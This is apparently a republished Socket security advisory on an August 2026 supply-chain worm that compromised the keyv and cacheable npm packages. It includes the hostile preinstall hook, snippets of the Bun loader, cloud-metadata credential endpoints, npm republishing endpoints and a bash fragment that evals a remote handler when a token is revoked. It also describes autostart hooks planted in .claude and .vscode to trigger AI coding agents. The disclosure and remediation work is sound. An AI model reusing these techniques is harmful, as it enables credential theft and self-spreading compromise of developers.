{"slug": "popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active", "title": "Popular npm Packages in the keyv and Cacheable Namespaces Compromised in Active Supply Chain Attack", "summary": "Socket's Threat Research Team reported an active supply chain attack on August 4, 2026, that compromised the npm packages keyv and cacheable, affecting tens of millions of weekly downloads. The attack used a malicious preinstall hook (setup.mjs) to download a Bun runtime, execute an obfuscated second stage, harvest cloud and CI credentials, and republish trojanized versions of other packages using stolen npm tokens. The maintainer account Jaredwray was compromised, and at least ten packages were published with the malicious hook, with new packages appearing in real time.", "body_md": "*Socket’s AI scanner flagging the malicious*\n\n`setup.mjs`\n\npreinstall hook in `keyv@6.0.0`\n\n.Popular npm packages keyv and cacheable compromised.\n\nSocket’s Threat Research Team is tracking an active supply chain compromise affecting the widely used `keyv`\n\nand `cacheable`\n\nnpm packages. On August 4, 2026, at least ten packages beginning with the keyv and cacheable namespaces and spreading to packages owned by other maintainers, were published with a malicious `preinstall`\n\nhook (`setup.mjs`\n\n) that downloads a standalone Bun runtime, executes an obfuscated second stage, harvests cloud and CI credentials, and republishes trojanized versions of other packages the stolen npm token can reach. The affected packages collectively account for tens of millions of weekly downloads. New packages are appearing in real time, and Socket team will keep on updating the list.\n\nThe evidence indicates the maintainer account (Jaredwray) was compromised and used to publish across two package families. From there the worm used stolen npm tokens to publish trojanized versions of additional packages, including some outside those namespaces.\n\n`.claude`\n\nand `.vscode`\n\nto hit developers who clone the source.Socket’s AI scanner flagging the malicious`setup.mjs`\n\npreinstall hook in`keyv@6.0.0`\n\n.\n\nThis is an ongoing investigation. Socket will continue updating the blog with technical analysis of the malware and its distribution method.\n\nAcross the campaign, affected package artifacts were detected an average of five minutes and 18 seconds after publication. Socket users can check whether they are affected by viewing the dedicated campaign page: [https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise](https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise)\n\n`keyv`\n\nis a key-value storage abstraction with adapters for Redis, SQLite, Postgres, MongoDB, and more.\n\n`cacheable`\n\n, `cacheable-request`\n\n, `flat-cache`\n\n, and `file-entry-cache`\n\nare caching libraries in the same maintainer's ecosystem. These are foundational packages that sit deep in dependency trees, so their reach is largely indirect. A common chain is `eslint`\n\nto `file-entry-cache`\n\nto `flat-cache`\n\nto `keyv`\n\n, which means most affected users never install any of them directly.\n\nAll times UTC on August 4, 2026, based on npm registry publish timestamps.\n\n`@keyv/*`\n\npackages (for example `@keyv/redis`\n\n, `@keyv/sqlite`\n\n, `@keyv/mongo`\n\n) published their `6.0.0`\n\ntarballs between 09:30 and 09:32, roughly seven minutes before the staging commit. Those tarballs do not contain the `preinstall`\n\nhook. Treat them as suspect given the account compromise, but the executable payload is confirmed only in the packages listed below.`keyv@6.0.0`\n\npublished at 09:35, the first version to carry the malicious `preinstall`\n\nhook.`keyv@6.0.0`\n\nroughly six minutes after publication, surfacing the malicious `preinstall`\n\nhook well before the broader `cacheable`\n\nburst that followed at 10:09. `@thiennq/docs-viewer@1.6.2`\n\n, a package outside the keyv and cacheable namespaces, published at 09:38, indicating the campaign reached at least one account beyond these two families.`jaredwray/keyv`\n\nsource repository shows force pushes to `main`\n\n, repeated deletion of the `v6.0.0`\n\ntag, a commit titled \"add setup.mjs and Math_Symbol.js to all @keyv/* packages,\" and subsequent activity on the `v5`\n\nrelease branch. This indicates the threat actor retained account and CI control and was manipulating history in real time.`cacheable`\n\nfamily published in a burst between 10:09:44 and 10:14:41: `@cacheable/net@2.1.1`\n\n, `@cacheable/node-cache@3.1.2`\n\n, `cacheable@2.5.1`\n\n, `flat-cache@6.1.24`\n\n, `cacheable-request@13.0.20`\n\n, `@cacheable/memory@2.2.1`\n\n, `file-entry-cache@11.1.6`\n\n, `@cacheable/utils@2.5.1`\n\n, and `cache-manager@7.2.10`\n\n.The compromise is delivered entirely through the npm lifecycle. The published library code (the package dist/ output) is byte identical, by SHA-256, to the clean 6.0.0-rc.1 build. Every dist file matches; the only changes in the package are package.json and the two added lifecycle files. All malicious behavior lives in an added `preinstall`\n\nhook, so the package behaves normally after installation while the host is already compromised.\n\nThe trojanized [ package.json](https://socket.dev/npm/package/keyv/files/6.0.0/package.json) adds two files and a hook:\n\n```\n\"files\": [ \"dist\", \"LICENSE\", \"setup.mjs\", \"Math_Symbol.js\" ],\n\"scripts\": {\n  \"preinstall\": \"node setup.mjs\"\n}\n```\n\n`setup.mjs`\n\n)[ setup.mjs](https://socket.dev/npm/package/keyv/files/6.0.0/setup.mjs) is a lightly obfuscated Node script. If\n\n`bun`\n\nis not already present, it downloads a platform-matched standalone Bun runtime and uses it to run the second stage. Node still executes setup.mjs first; the loader then uses Bun to run the second stage, which may bypass controls that monitor only Node processes.\n\n``` js\nconst V = \"1.3.13\";\nconst E = \"Math_Symbol.js\"; // recovered constant; the .claude/.vscode repo variant of this loader uses \"math_init.js\" for the identical payload\nconst url = \"https://github.com/oven-sh/bun/releases/download/bun-v\" + V + \"/\" + target + \".zip\";\n```\n\nThe loader detects platform and architecture (including Alpine and musl via `ldd --version`\n\nand `/etc/os-release`\n\n), unzips using the system `unzip`\n\n, PowerShell `Expand-Archive`\n\non Windows, or a hand written pure JavaScript ZIP parser fallback, then executes the second stage:\n\n```\nexecFileSync(bunBinary, [payloadPath], { stdio: \"inherit\", cwd: D });\n```\n\nThe loader downloads the Bun binary over HTTPS with no checksum or signature verification, and removes its `bun-dl-*` temporary directory after execution, which limits on-disk artifacts.\n\n`Math_Symbol.js`\n\n)`Math_Symbol.js`\n\nis a roughly 728 KB Bun bundle. Strings are protected with polymorphic basE91 encoding: one shared numeric opcode table drives dozens of per scope alphabets that are decoded lazily. Recovering the strings requires reimplementing basE91 and brute forcing each alphabet, which yields the full capability set. Internal module log tags identify the components: `[collector]`\n\n, `[dispatcher]`\n\n, `[provenance]`\n\n, and `[publish]`\n\n.\n\nCredential collection targets a broad range of secrets:\n\n```\n\"http://169[.]254[.]169[.]254/latest/api/token\"\n\"http://169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/\"\n\"http://169[.]254[.]170[.]2\"\n```\n\nThe collector actively queries the AWS instance metadata service and reads AWS credential chains and Secrets Manager across regions. GCP service account private keys and Azure client secrets appear as regular-expression and file targets rather than confirmed API calls. It reads HashiCorp Vault tokens from paths such as /home/runner/.vault-token and /run/secrets/VAULT_TOKEN, Kubernetes service account tokens from /var/run/secrets/kubernetes.io/serviceaccount/token, and npm tokens via the registry whoami and token endpoints. It enumerates GitHub Actions organization and repository secret metadata through the API; secret values are recovered from environment variables, files, and process scanning on the runner, not from that API.\n\nA TruffleHog style regular expression sweep hunts generic keys, bearer tokens, and private key blocks on disk.\n\nSelf propagation turns the credential theft into a worm:\n\n```\n\"https://registry.npmjs.org/-/whoami\"\n\"registry.npmjs.org/-/v1/search?text=maintainer:\" // discover targets\n\"https://registry.npmjs.org/-/npm/v1/oidc/token/exchange/package/\" // mint publish credential\n```\n\nFor each discovered package, the payload downloads the tarball, injects the same `preinstall`\n\nhook and payload files, recomputes the integrity and shasum fields, bumps the version, and issues a `PUT`\n\nto the registry. A dedicated provenance component builds DSSE attestation envelopes, requests Fulcio signing certificates, and submits Rekor transparency-log entries, so republished versions can ship freshly minted, verifiable sigstore provenance rather than merely inheriting it. Separately, and this is what we confirmed directly, `keyv@6.0.0 `\n\nitself shipped with a passing attestation because the legitimate release workflow built already-trojanized source. The republish capability in the payload and the observed keyv provenance are two distinct facts.\n\nExfiltration and persistence avoid a fixed command and control host. A `GitHubSender`\n\ncomponent creates repositories through `POST /user/repos`\n\nand commits stolen findings using the GraphQL `createCommitOnBranch`\n\nmutation, while a DomainSender component resolves destinations via DNS and health-checks them before sending encrypted data. The bundle embeds an operator-controlled public key, stored as an AES-256-GCM-encrypted constant and decrypted at runtime, and uses AES-256-GCM (envelope: 12-byte IV, 16-byte tag, ciphertext) for its data handling. Collected data is delivered as ciphertext, so the GitHub repositories and DNS-resolved destinations receive only encrypted output. The source repository additionally plants autostart hooks in `.claude/settings.json`\n\n(a `SessionStart`\n\nhook) and `.vscode/tasks.json`\n\n(a `folderOpen`\n\ntask), both of which execute the same loader when a developer or an AI coding agent opens the cloned repository, with no `npm install`\n\nrequired.\n\nBeyond the repository autostart files, the payload installs a host-level dead-man's switch. It writes the stolen GitHub token and a handler command to `~/.config/gh-token-monitor/{token,handler} (mode 600)`\n\n, then persists itself as a macOS LaunchAgent `(com.user.gh-token-monitor, RunAtLoad and KeepAlive)`\n\nor a Linux `systemd`\n\nuser service with `loginctl enable-linger`\n\nso it survives logout. A watcher script at `~/.local/bin/gh-token-monitor.sh`\n\npolls the GitHub API with the stolen token every 60 seconds; when the token stops working (an HTTP 4xx, the moment it is revoked or rotated), it evaluates a remote-supplied handler string, then deletes its state and exits. It also self-clears after a 24-hour TTL.\n\n```\nif [[ \"$HTTP_STATUS\" =~ ^40[0-9]$ ]]; then\neval \"$HANDLER\"          # triggered by token revocation / rotation\nrm -f \"$STARTED_FILE\"; exit 0\nfi\n```\n\nThe LaunchAgent is labelled com.user.gh-token-monitor and the systemd unit describes itself as \"GitHub Token Validity Monitor,\" so it reads as a developer convenience at a glance. No linter, secret scanner, or release tool installs a background service that watches for its own credential to be revoked and then evaluates a remote-supplied string. This is the artifact that removes any ambiguity about intent.\n\nAny environment that installed an affected version and ran install scripts should be treated as compromised. On a developer workstation or CI runner, the payload can exfiltrate cloud provider keys, Vault and Kubernetes tokens, GitHub and npm credentials, and any secrets matching its regex sweep.\n\nBecause the payload republishes through the victim's own npm identity, a single compromised CI token can extend the campaign to additional packages, and the maintainer controlling both `keyv`\n\nand `cacheable`\n\ngives the worm a large blast radius across common dependency trees.\n\nThe lesson is that provenance attests build integrity, not source integrity. The npm and sigstore pipeline did exactly what it is designed to do and still produced a signed, verifiable attestation for malware, because the source it built from was already trojanized.\n\nThe tradecraft closely matches the techniques seen in the Shai-Hulud npm worm activity: harvesting credentials with a TruffleHog style regular expression sweep, enumerating the maintainer's packages and republishing trojanized versions through stolen npm tokens and OIDC trusted publishing, and staging stolen data into threat actor controlled GitHub repositories created through the GitHub API.\n\nThe payload's strings are protected with polymorphic basE91 encoding, and the components that name the dead-drop repositories and commits appear to be constructed at runtime, so the self-identifying markers that would tie this to a named campaign were not recovered from the sample. This sample also shows techniques not documented in earlier Shai-Hulud reporting: it downloads a standalone Bun runtime to execute a bundled second stage, uses a modular dispatcher with separate GitHub and domain-based delivery channels, and plants autostart hooks in `.claude`\n\nand `.vscode`\n\nto reach developers and AI coding agents who clone the source.\n\nPin each affected package to the version immediately prior to the one listed below and rebuild lockfiles. Prefer exact versions and lock by integrity hash. Do not allow caret or tilde ranges or `npm update`\n\nto pull a fresh 5.x or patched release while the maintainer account remains compromised. Where practical, block the entire `keyv`\n\n, `@keyv`\n\n, and `cacheable`\n\nscope in your registry proxy or allowlist rather than individual versions.\n\nBefore rotating any credential, hunt for and remove the host-level dead-man's switch. Revocation is its trigger: the watcher runs eval on a remote-supplied handler the moment the stolen token returns an HTTP 4xx. Check and remove:\n\n`~/.local/bin/gh-token-monitor.sh`\n\n`~/.config/gh-token-monitor/ (token, handler, started_at)`\n\n`~/Library/LaunchAgents/com.user.gh-token-monitor.plist (macOS; also unload the LaunchAgent)`\n\n`~/.config/systemd/user/gh-token-monitor.service (Linux; also run loginctl disable-linger)`\n\n`/tmp/gh-token-monitor.{out,err}.log`\n\nAlso remove the installer and implant: the process chain `node setup.mjs`\n\nspawning a downloaded bun, `bun-dl-*`\n\ntemporary directories, `Math_Symbol.js`\n\nor `math_init.js`\n\non disk, and the `.claude/settings.json`\n\nand `.vscode/tasks.json`\n\nautostart hooks. Assume an equivalent monitor may exist for the npm token.\n\nOnly after the switch and implant are removed, rotate every credential reachable from the host: npm tokens, GitHub personal access tokens and GITHUB_TOKEN, AWS, GCP, and Azure keys, Vault tokens, Kubernetes service account tokens, and CI organization and repository secrets. Revoke rather than only rotate npm and GitHub tokens. Then audit npm accounts for unexpected package versions published today and audit GitHub for newly created repositories and unexpected commits.\n\nSee: [https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise](https://socket.dev/supply-chain-attacks/keyv-and-cacheable-compromise)\n\n`54dc7ea54a1317cca0e890a2770630cf7fa6c97813e0cb9d2caa93012b350668 - setup.mjs (npm tarball preinstall loader)`\n\n`fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb - setup.mjs (.claude and .vscode repository loader, identical in both)`\n\n`9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc - Math_Symbol.js (npm tarball) and math_init.js (repository), identical payload`\n\n`keyv-6.0.0.tgz`\n\n- `37f9f847e9c3e520b47d83a 9029e199dbc30c6a195a1d80467d0fb1a6fd5068728ad4d1a422995ca578359263afdac5d3b4fed7a6b9befad27de19cca6966952`\n\n`169[.]254[.]169[.]254`\n\n`169[.]254[.]170[.]2`\n\n`github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/`\n\n`registry[.]npmjs[.]org/-/whoami`\n\n`registry[.]npmjs[.]org/-/npm/v1/tokens`\n\n`registry[.]npmjs[.]org/-/npm/v1/oidc/token/exchange/package/`\n\nGet notified when we publish new security blog posts!", "url": "https://wpnews.pro/news/popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active", "canonical_source": "https://socket.dev/blog/popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active-supply-chain?utm_medium=feed", "published_at": "2026-08-04 10:36:00+00:00", "updated_at": "2026-08-19 19:42:51.656057+00:00", "lang": "en", "topics": ["ai-tools", "ai-ethics"], "entities": ["Socket", "keyv", "cacheable", "Jaredwray", "Bun", "npm"], "alternates": {"html": "https://wpnews.pro/news/popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active", "markdown": "https://wpnews.pro/news/popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active.md", "text": "https://wpnews.pro/news/popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active.txt", "jsonld": "https://wpnews.pro/news/popular-npm-packages-in-the-keyv-and-cacheable-namespaces-compromised-in-active.jsonld"}}